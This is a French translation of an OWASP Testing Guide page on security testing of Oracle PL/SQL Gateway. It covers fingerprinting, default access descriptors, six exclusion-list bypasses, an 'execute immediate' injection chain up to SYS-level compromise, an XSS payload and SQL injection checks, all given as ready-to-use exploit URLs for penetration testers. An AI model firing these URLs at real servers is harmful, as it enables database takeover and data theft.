4.8.5.1 Tester Oracle

From OWASP
Jump to: navigation, search
This article is part of the new OWASP Testing Guide v4.
Back to the OWASP Testing Guide v4 ToC: https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents Back to the OWASP Testing Guide Project: https://www.owasp.org/index.php/OWASP_Testing_Project

Sommaire

Les applications web qui utilisent PL/SQL passent par la passerelle PL/SQL Gateway, qui est le composant traduisant les requêtes web en requêtes de bases de données. Oracle a développé un certain nombre d'implémentations logicielles : l'ancien produit web listener, le module Apache mod_plsql, le serveur web XML Database (XDB). Chacune d'elles a ses bizarreries et ses problèmes, que nous allons détailler dans ce chapitre. Les produits qui utilisent PL/SQL Gateway comprennent, mais ne sont pas limités à, Oracle HTTP Server, eBusiness Suite, Portal, WebDB et l'Oracle Application Server.

Comment tester

Comment fonctionne PL/SQL Gateway

PL/SQL Gateway agit essentiellement comme un simple serveur proxy recevant les requêtes web de l'utilisateur et les passant à la base de données, où elles seront exécutées.

  1. Le serveur web reçoit une requête d'un client web et détermine si elle doit être traitée par PL/SQL Gateway.
  2. PL/SQL Gateway traite la requête en lisant le nom du packetage demandé, la procédure et les variables.
  3. Le paquetage demandé et la procédure sont encapsulés dans un block PL/SQL anonyme, et envoyés vers le serveur de base de données.
  4. Le serveur de base de données exécute la procédure et renvoie les résultats à PL/SQL Gateway en HTML.
  5. La passerelle renvoie la réponse, via le serveur web, au client.


Il est important de bien comprendre ce point : le code PL/SQL n'existe pas sur le serveur web, mais plutôt dans le serveur de base de données. Cela signifie que toute faiblesse dans PL/SQL Gateway ou toute faiblesse dans l'application PL/SQL, quand elle est exploitée, donne à un attaquant un accès direct au serveur de base de données ; aucun pare-feu ne peut empêcher cela.


Les URLs destinées à PL/SQL des applications web sont normalement facilement reconnaissables et commencent généralement par ce qui suit (xyz peut être n'importe quelle chaîne et représente un descripteur d'accès de base de données, que nous allons voir plus loin) :

http://www.example.com/pls/xyz
http://www.example.com/xyz/owa
http://www.example.com/xyz/plsql


Alors que les deuxième et troisième de ces exemples représentent des URLs d'anciennes versions de PL/SQL Gateway, le premier provient d'une version récente tournant sur Apache. Dans le fichier de configuration Apache plsql.conf, /pls est le défaut, spécifiant le chemin avec le module PLS comme responsable de traitement. Le chemin n'a pas besoin d'être /pls, cependant. L'absence d'une extension de nom de fichier dans une URL pourrait indiquer la présence d'Oracle PL/SQL Gateway. Considérons l'URL suivante :

http://www.server.com/aaa/bbb/xxxxx.yyyyy


Si xxxxx.yyyyy était remplacé par quelque chose ressemblant à “ebank.home,” “store.welcome,” “auth.login,” ou “books.search,”, alors il y a de grandes chances qur PL/SQL Gateway soit utilisé. Il est aussi possible de préfixer le paquetage et la procedure demandés par le nom de l'utilisateur qui les possède, c'est-à-dire le schéma, dans ce cas l'utilisateur est "webuser" :

http://www.server.com/pls/xyz/webuser.pkg.proc


Dans cette URL, xyz est le descripteur d'accès à la base (Database Access Descriptor), ou DAD. Un DAD spécifie les informations concernant un serveur de base de données afin que PL/SQL Gateway puisse s'y connecter. Il contient des informations telles que la chaîne de connexion TNS, l'ID utilisateur et son mot de passe, les méthodes d'authentification, etc. Ces DADs sont définis dans le fichie de configuration Apache dads.conf dans les versions récentes, ou dans le fichier wdbsvr.app dans les anciennes versions. Quelques DADs par défaut comprennent ce qui suit :

SIMPLEDAD
HTMLDB
ORASSO
SSODAD
PORTAL
PORTAL2
PORTAL30
PORTAL30_SSO
TEST
DAD
APP
ONLINE
DB
OWA


Vérifier que PL/SQL Gateway est lancé
Lorsque l'on évalue un serveur, il est important de commencer par déterminer à quelle technologie on a à faire. Si on ne le sait pas à l'avance, par exemple dans un scénario en boite noire, la première chose à faire est de le découvrir. Découvrir qu'une application web utilise PL/SQL est assez aisé. Tout d'abord, il y a le format de l'URL et sa structure, comme vue précedemment. Ensuite, il y a un ensemble de tests simples qui peuvent être effectués pour détecter la présence de PL/SQL Gateway.


Entêtes de réponse du serveur
Les entêtes des réponses du serveur web sont un bon indicateur pour savoir si le serveur utilise PL/SQL Gateway. La table ci-dessous donne une liste des entêtes de réponses typiques :

Oracle-Application-Server-10g
Oracle-Application-Server-10g/10.1.2.0.0 Oracle-HTTP-Server
Oracle-Application-Server-10g/9.0.4.1.0 Oracle-HTTP-Server
Oracle-Application-Server-10g OracleAS-Web-Cache-10g/9.0.4.2.0 (N)
Oracle-Application-Server-10g/9.0.4.0.0
Oracle HTTP Server Powered by Apache
Oracle HTTP Server Powered by Apache/1.3.19 (Unix) mod_plsql/3.0.9.8.3a
Oracle HTTP Server Powered by Apache/1.3.19 (Unix) mod_plsql/3.0.9.8.3d
Oracle HTTP Server Powered by Apache/1.3.12 (Unix) mod_plsql/3.0.9.8.5e
Oracle HTTP Server Powered by Apache/1.3.12 (Win32) mod_plsql/3.0.9.8.5e
Oracle HTTP Server Powered by Apache/1.3.19 (Win32) mod_plsql/3.0.9.8.3c
Oracle HTTP Server Powered by Apache/1.3.22 (Unix) mod_plsql/3.0.9.8.3b 
Oracle HTTP Server Powered by Apache/1.3.22 (Unix) mod_plsql/9.0.2.0.0 
Oracle_Web_Listener/4.0.7.1.0EnterpriseEdition
Oracle_Web_Listener/4.0.8.2EnterpriseEdition
Oracle_Web_Listener/4.0.8.1.0EnterpriseEdition
Oracle_Web_listener3.0.2.0.0/2.14FC1
Oracle9iAS/9.0.2 Oracle HTTP Server
Oracle9iAS/9.0.3.1 Oracle HTTP Server


Le test NULL
En PL/SQL, "null" est une expression parfaitement acceptable :

SQL> BEGIN
 2  NULL;
 3  END;
 4  /

PL/SQL procedure successfully completed.


On peut utiliser ceci pour tester si le server utilise PL/SQL Gateway. On prend simplement le DAD et on ajoute NULL, puis NOSUCHPROC :

http://www.example.com/pls/dad/null
http://www.example.com/pls/dad/nosuchproc


Si le serveur répond 200 OK pour le permier test et 404 Not Found poure le second, cela indique qu'il utilise PL/SQL Gateway.


Accès à un paquetage connu
Sur les anciennes version de PL/SQL Gateway, il est possible d'accèder directement aux paquetages composant le PL/SQL Web Toolkit tels que OWA et HTP. L'un de ces paquetages est OWA_UTIL, que nous allons décrire plus loin. Ce paquetage contient une procédure appelée SIGNATURE qui affiche simplement une signature PL/SQL en HTML. Ainsi la requête

http://www.example.com/pls/dad/owa_util.signature

renvoie la sortie suivante dans la page web

"This page was produced by the PL/SQL Web Toolkit on date"

ou

"This page was produced by the PL/SQL Cartridge on date"


Si l'on obtient une réponse 403 Forbidden, cela implique que PL/SQL Gateway est lancé. C'est la réponse que devrait donner les versions récentes ou mises à jour.


Accèder arbitrairement à des paquetages PL/SQL dans la base de données
Il est possible d'exploiter des vulnérabilités dans les paquetages PL/SQL installés par défaut sur le serveur de base de données. La méthode à utiliser dépend de la version de PL/SQL Gateway. Dans les anciennes versions de PL/SQL Gateway, rien n'empêchait un attaquant d'accèder à un paquetage PL/SQL donné sur le serveur de base de données. Le paquetage OWA_UTIL déjà mentionné plus haut peut être utilisé pour exécuter des requêtes SQL arbitraires :

http://www.example.com/pls/dad/OWA_UTIL.CELLSPRINT? P_THEQUERY=SELECT+USERNAME+FROM+ALL_USERS

On peut lancer des attaques XSS via le paquetage HTP :

http://www.example.com/pls/dad/HTP.PRINT?CBUF=<script>alert('XSS')</script>


Cela est clairement dangereux, Oracle a donc fourni une liste d'exclusion PL/SQL pour empêcher les accès directs à de telles procédures risquées. Les éléments interdits comprennent toutes les requêtes commançant par SYS.*, DBMS.*, HTP.* ou OWA.*. Il est cependant possible de contourner la liste d'exclusion. De plus la liste d'exclusion n'empêche pas les accès aux paquetages des schémas CTXSYS, MDSYS ou autres. Il est donc possible d'exploiter des failles dans ces paqueetages :

http://www.example.com/pls/dad/CXTSYS.DRILOAD.VALIDATE_STMT?SQLSTMT=SELECT+1+FROM+DUAL


Cette requête va retourner une page HTML vide avec un code 200 OK si le serveur de base de données est encore vulnérable à cette faille (CVE-2006-0265)


Tester les failles de PL/SQL Gateway

Au fil des années, l'Oracle PL/SQL Gateway a souffert de nombreuses failles, y compris des accès aux pages d'administration (CVE-2002-0561), des débordements de tampon (CVE-2002-0559), des bogues de directory traversal, et des vulnérabilités permettant les attaquants de contourner la liste d'exclusion et d'exécuter des paquetages PL/SQL quelconques dans le serveur de base de données.


Contournement de la liste d'exclusion PL/SQL
Oracle a tenté un nombre incroyable de fois de corriger les failles permettant de contourner la liste d'exclusion. Chaque patch produit par Oracle a été victime de nouvelles techniques de contournement. On peut en trouver un triste historique ici : http://seclists.org/fulldisclosure/2006/Feb/0011.html


Contournement de la liste d'exclusion PL/SQL - Méthode 1
Quand Oracle a sorti la première version de la liste d'exclusion pour empêcher les attaquants d'accéder arbitrairement à des paquetages PL/SQL, elle pouvait être contournée de manière triviale en préfixant le nom du schéma/paquetage par un caractère newline, espace ou tab, encodé en hexa :

http://www.example.com/pls/dad/%0ASYS.PACKAGE.PROC
http://www.example.com/pls/dad/%20SYS.PACKAGE.PROC
http://www.example.com/pls/dad/%09SYS.PACKAGE.PROC


Contournement de la liste d'exclusion PL/SQL - Méthode 2
Les versions suivantes de la PL/SQL Gateway permettaient aux attaquant de contourner la liste d'exclusion en préfixant le nom du schéma/paquetage avec un label. En PL/SQL, un label pointe sur une ligne du code qui peut être la cible d'une instruction GOTO. Cela prend la forme : <<NAME>>

http://www.example.com/pls/dad/<<LBL>>SYS.PACKAGE.PROC


Contournement de la liste d'exclusion PL/SQL - Méthode 3
Placer simplement le nom du schéma/paquetage entre guillemets peut permettre à un attaquant de contourner la liste d'exclusion. Il faut noter que cela ne fonctionnera pas avec Oracle Application Server 10g puisqu'il converti les requêtes utilisateurs en minuscules avant de les envoyer vers le serveur de base de données, alors qu'un quote literal est sensible à la casse. Ainsi "SYS" et "sys" ne sont pas équivalents, et un requête sur le second aboutiera à une erreur 404 Not Found. Cependant dans les versions précédentes la requête suivante peut contourner la liste d'exclusion :

http://www.example.com/pls/dad/"SYS".PACKAGE.PROC


Contournement de la liste d'exclusion PL/SQL - Méthode 4
Selon le jeu de caractères utilisé sur le serveur web et sur le serveur de base de données, certains caractères peuvent être converti. Ainsi, le caractère "ÿ" (0xFF) peut être converti en "Y" dans le serveur de base de données. Un autre caractère, Macron (0xAF) est aussi souvent converti en "Y" majuscule. Cela peut permettre à un attaquant de contourner la liste d'exclusion :

http://www.example.com/pls/dad/S%FFS.PACKAGE.PROC
http://www.example.com/pls/dad/S%AFS.PACKAGE.PROC


Contournement de la liste d'exclusion PL/SQL - Méthode 5
Certaines version de la PL/SQL Gateway permettent le contournement de la liste d'exclusion avec un backslash (0x5C) :

http://www.example.com/pls/dad/%5CSYS.PACKAGE.PROC


Contournement de la liste d'exclusion PL/SQL - Méthode 6
Cette méthode est la plus complexe et la plus récemment corrigée. Considérons la requête suivante :

http://www.example.com/pls/dad/foo.bar?xyz=123

le serveur d'application exécuterait ce qui suit sur le serveur de base de données :

1 declare
2  rc__ number;
3  start_time__ binary_integer;
4  simple_list__ owa_util.vc_arr;
5  complex_list__ owa_util.vc_arr;
6 begin
7  start_time__ := dbms_utility.get_time;
8  owa.init_cgi_env(:n__,:nm__,:v__);
9  htp.HTBUF_LEN := 255;
10  null;
11  null;
12  simple_list__(1) := 'sys.%';
13  simple_list__(2) := 'dbms\_%';
14  simple_list__(3) := 'utl\_%';
15  simple_list__(4) := 'owa\_%';
16  simple_list__(5) := 'owa.%';
17  simple_list__(6) := 'htp.%';
18  simple_list__(7) := 'htf.%';
19  if ((owa_match.match_pattern('foo.bar', simple_list__, complex_list__, true))) then
20   rc__ := 2;
21  else
22   null;
23   orasso.wpg_session.init();
24   foo.bar(XYZ=>:XYZ);
25   if (wpg_docload.is_file_download) then
26    rc__ := 1;
27    wpg_docload.get_download_file(:doc_info);
28    orasso.wpg_session.deinit();
29    null;
30    null;
31    commit;
32   else
33    rc__ := 0;
34    orasso.wpg_session.deinit();
35    null;
36    null;
37    commit;
38    owa.get_page(:data__,:ndata__);
39   end if;
40  end if;
41  :rc__ := rc__;
42  :db_proc_time__ := dbms_utility.get_time—start_time__;
43 end;


A la ligne 19, la requête de l'utilisateur est comparée à une liste de "mauvaises" chaînes, c'est à dire à la liste d'exclusion. Si le paquetage et la procédure demandés ne contiennent de mauvaises chaînes, alors la procédure est exécutée en ligne 24. Le paramètre XYZ est passé en variable liée.


Si maintenant on envoie cette requête :

http://server.example.com/pls/dad/INJECT'POINT 

le code PL/SQL suivant est exécuté :

..
18  simple_list__(7) := 'htf.%';
19  if ((owa_match.match_pattern('inject'point', simple_list__, complex_list__, true))) then
20   rc__ := 2;
21  else
22   null;
23   orasso.wpg_session.init();
24   inject'point;
..


Cela génère un message d'erreur dans les logs : “PLS-00103: Encountered the symbol ‘POINT’ when expecting one of the following. . .” Ce que nous voyons ici est qu'il y moyen d'injecter du code SQL arbitraire. Cela peut être utilisé pour contourner la liste d'exclusion. Tout d'abord, l'attaquant doit trouver une procédure PL/SQL n'acceptant aucun paramètre et n'apparaissant pas dans la liste d'exclusion. Beaucoup de procédures fournies dans les paquetages par défaut satisfont à ce critère, par exemple :

JAVA_AUTONOMOUS_TRANSACTION.PUSH
XMLGEN.USELOWERCASETAGNAMES
PORTAL.WWV_HTP.CENTERCLOSE
ORASSO.HOME
WWC_VERSION.GET_HTTP_DATABASE_INFO


Un attaquant doit choisir une de ces fonctions réellement disponible sur le système cible (c'est-à-dire qu'elle retourne un code 200 OK quand on l'appelle). Pour vérifier cela, l'attaquant peut envoyer la requête :

http://server.example.com/pls/dad/orasso.home?FOO=BAR


le serveur devrait retourner un réponse "404 File Not Found" puisque la procédure orasso.home ne nécessite pas de paramètre, alors qu'un paramètre a été fourni. Cependant, avant que le code 404 soit retourné, le code PL/SQL suivant est exécuté :

..
..
if ((owa_match.match_pattern('orasso.home', simple_list__, complex_list__, true))) then
 rc__ := 2;
else
   null;
   orasso.wpg_session.init();
   orasso.home(FOO=>:FOO);
   ..
   ..


Il faut remarquer la présence du paramètre FOO dans la chaîne de la requête de l'attaquant. Les attaquant peuvent abuser de cela pour exécuter du code SQL arbitraire. D'abord ils doivent fermer les chevrons :

http://server.example.com/pls/dad/orasso.home?);--=BAR


Cela résulte par l'exécution de ce code PL/SQL :

..
orasso.home();--=>:);--);
..


A remarquer que le code situé après le double moins (--) est considéré comme un commentaire. Cette requête va cause une erreur interne au serveur, puisque les variables liées ne sont plus utilisées, l'attaquant doit donc les ajouter de nouveau. Il s'avère que cette variable liée est la clef pour exécuter du code PL/SQL arbitraire. Pour le moment, il suffit d'essayer d'utiliser HTP.PRINT pour afficher BAR, et d'ajouter la variable nécessaire :1 :

http://server.example.com/pls/dad/orasso.home?);HTP.PRINT(:1);--=BAR


Cela devrait retourner un code 200 et le mot "BAR" dans la page HTML. Ce qui se passe ici est que tout ce qui se trouve après le signe égal, BAR dans ce cas, est de la donnée insérée dans la variable liée. En utilisant la même technique il est aussi possible d'accéder à owa_util.cellsprint :

http://www.example.com/pls/dad/orasso.home?);OWA_UTIL.CELLSPRINT(:1);--=SELECT+USERNAME+FROM+ALL_USERS


Pour exécuter du code SQL arbitraire, y compris des instructions DML et DDL, l'attaquant insère un execute immediate :1 :

http://server.example.com/pls/dad/orasso.home?);execute%20immediate%20:1;--=select%201%20from%20dual


Remarquons que la sortie ne sera pas affichée. Cela peut être utilisé pour exploiter des bogues d'injection PL/SQL avec les droits SYS, ce qui permet de prendre le contrôle complet du serveur de base de données. Par exemple, l'URL suivante profite de failles d'injection SQL dans DBMS_EXPORT_EXTENSION (voir http://secunia.com/advisories/19860) :

http://www.example.com/pls/dad/orasso.home?);
 execute%20immediate%20:1;--=DECLARE%20BUF%20VARCHAR2(2000);%20BEGIN%20
 BUF:=SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES
 ('INDEX_NAME','INDEX_SCHEMA','DBMS_OUTPUT.PUT_LINE(:p1);
 EXECUTE%20IMMEDIATE%20''CREATE%20OR%20REPLACE%20
 PUBLIC%20SYNONYM%20BREAKABLE%20FOR%20SYS.OWA_UTIL'';
 END;--','SYS',1,'VER',0);END;


Evaluation d'applications PL/SQL personnalisées

Lors d'une évaluation de sécurité en boite noire, le code PL/SQL spécifique à l'application n'est pas disponible, mais sa sécurité doit tout de même être évaluée.


Test d'injection SQL
Chaque paramètre d'entrée doit être testé pour détecter les faille d'injection SQL. C'est facile à trouver et confirmer. Trouver les failles est aussi simple que d'insérer une simple quote dans un paramètre et de vérifier les remontées d'erreur (y compris les erreurs 404 Not Found). La confirmation de la présence d'un injection SQL se fait avec l'opérateur de concaténation.


Par exemple, prenons une application web PL/SQL de libraire en ligne, qui permet de recherche les livres d'un auteur donné :

http://www.example.com/pls/bookstore/books.search?author=DICKENS


Si cette requête renvoie les livres de Charles Dickens, mais que

http://www.example.com/pls/bookstore/books.search?author=DICK'ENS


renvoie une erreur ou un code 404, il peut y avoir une faille d'injection SQL. On peut confirmer cela en utilisant l'opérateur de concaténation :

http://www.example.com/pls/bookstore/books.search?author=DICK'||'ENS


Si cette requête retourne les livres de Charles Dickens, la présence d'une vulnérabilité d'injection SQL est confirmée.


Outils


Références

Whitepapers